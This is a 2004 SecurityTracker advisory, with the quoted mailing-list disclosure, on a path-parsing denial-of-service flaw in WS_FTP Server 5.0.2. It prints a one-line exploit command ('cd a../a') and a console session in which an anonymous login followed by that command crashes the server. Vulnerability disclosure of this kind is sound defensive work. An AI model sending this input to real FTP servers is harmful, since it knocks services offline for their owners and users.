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Category:   Application (File Transfer/Sharing)  >   WS_FTP Vendors:   Ipswitch
WS_FTP CD Command Path Parsing Flaw May Let Remote Authenticated Users Deny Service
SecurityTracker Alert ID:  1011095
SecurityTracker URL:
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Aug 31 2004
Impact:   Denial of service via network
Exploit Included:  Yes  
Version(s): 5.0.2
Description:   A denial of service vulnerability was reported in WS_FTP. A remote authenticated user can cause the FTP service to consume excessive CPU resources.

lion from reported that a remote authenticated user (including an anonymous user) can issue a specially crafted CD command to trigger the vulnerability. A demonstration exploit command is provided:

cd a../a

Impact:   A remote user can cause the target FTP service to consume excessive CPU resources.
Solution:   No solution was available at the time of this entry.
Vendor URL: (Links to External Site)
Cause:   Exception handling error
Underlying OS:  Windows (NT), Windows (2000), Windows (XP)

Message History:   None.

 Source Message Contents

Subject:  [vulnwatch] WS_FTP Server Denial of Service Vulnerability

[vulnwatch] WS_FTP Server Denial of Service Vulnerability
Security Advisory

Advisory Name: WS_FTP Server Denial of Service Vulnerability
Release Date: 08/30/2004
Affected version: WS_FTP Server 5.0.2
Author: lion <>


A vulnerability has been found in WS_FTP Server. The problem \
is in the module of file path parse will cause FTP server to \
consume large amounts of CPU power.


E:\>ftp localhost
Connected to ibm.
220-ibm X2 WS_FTP Server 5.0.2.EVAL (106633167)
220-Fri Aug 27 14:12:19 2004
220-29 days remaining on evaluation.
220 ibm X2 WS_FTP Server 5.0.2.EVAL (106633167)
User (ibm:(none)): ftp
331 Password required
230 user logged in
ftp> cd a../a 
Connection closed by remote host.

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